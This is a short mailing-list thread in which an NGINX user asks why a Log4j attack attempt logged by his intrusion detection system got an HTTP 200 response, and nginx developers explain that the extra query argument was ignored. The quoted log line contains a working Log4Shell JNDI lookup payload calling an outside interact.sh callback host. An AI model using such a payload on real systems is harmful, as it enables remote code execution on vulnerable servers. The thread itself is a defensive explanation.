Help request about Log4j attack attempts and NGINX logs meaning

[Mauro Tridici]

Hello Maxim,

Thank you for your reply.
This is the information that I need :)

Mauro

> On 30 Dec 2021, at 08:20, Maxim Konovalov <maxim at nginx.com> wrote:
> 
> Mauro,
> 
> Unless you use somewhere in your stack log4j vulnerable software (nginx is not) I don't see anything significant to worry about.
> 
> Maxim
> 
> On 29.12.2021 21:34, Mauro Tridici wrote:
>> Helo Maxim,
>> thank you very much for the explanation.
>> In your opinion, is this the case to “fix” this behaviour (but I don’t know how, I’m a newbie, sorry)  or I should simply ignore it?
>> Many thanks again,
>> Mauro
>>> On 29 Dec 2021, at 19:29, Maxim Dounin <mdounin at mdounin.ru> wrote:
>>> 
>>> Hello!
>>> 
>>> On Wed, Dec 29, 2021 at 03:55:35PM +0100, Mauro Tridici wrote:
>>> 
>>>> I have an old instance of NGINX (v.1.10.1) running as proxy
>>>> server on a dedicated hardware platform.
>>>> Since the proxy service is reachable from internet, it is
>>>> constantly exposed to cyber attacks.
>>>> In my particular case, it is attacked by a lot of Log4j attack
>>>> attempts from several malicious IPs.
>>>> 
>>>> At this moment, an host intrusion detection system (HIDS) is
>>>> running and is protecting the NGINX server: it seems it is
>>>> blocking every malicious attack attempts.
>>>> Anyway, during the last attack mail notification sent by the
>>>> HIDS, I noticed that the NGINX server response was “HTTP/1.1
>>>> 200” and I’m very worried about it.
>>>> Log4j and Java packages are NOT installed on the NGINX server
>>>> and all the servers behind the proxy are not using Log4j.
>>>> 
>>>> Could you please help me to understand the reason why the NGINX
>>>> server answer was “HTTP/1.1 200”!?
>>>> 
>>>> You can see below the mail notification I received:
>>>> 
>>>> 
>>>> Attack Notification.
>>>> 2021 Dec 28 20:45:59
>>>> 
>>>> Received From: “hidden_NGINX_server_IP”
>>>>> /var/log/nginx/access.log
>>>> Rule: 100205 fired (level 12) -> "Log4j RCE attack attempt
>>>> detected."
>>>> Src IP: 166.137.252.110
>>>> Portion of the log(s):
>>>> 
>>>> 166.137.252.110 - - [28/Dec/2021:21:45:58 +0100] "GET
>>>> /?sulgz=${jndi:ldap://“hidden_NGINX_server_IP
>>>> <ldap://%E2%80%9Chidden_server_IP>".c75pz6m2vtc0000bnka0gd15xueyyyyyb.interact.sh/a
>>>> <ldap://193.204.199.214.c75pz6m2vtc0000bnka0gd15xueyyyyyb.interact.sh/a>}
>>>> HTTP/1.1" 200 3700 "-" "curl/7.64.0" “-"
>>> 
>>> As you can see from the log line, the request is to "/" with some
>>> additional request arguments ("?sulgz=...").  As unknown request
>>> arguments are usually ignored, it is no surprise that such a
>>> request results in 200.
>>> 
>>> -- 
>>> Maxim Dounin
>>> http://mdounin.ru/
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> 
> 
> -- 
> Maxim Konovalov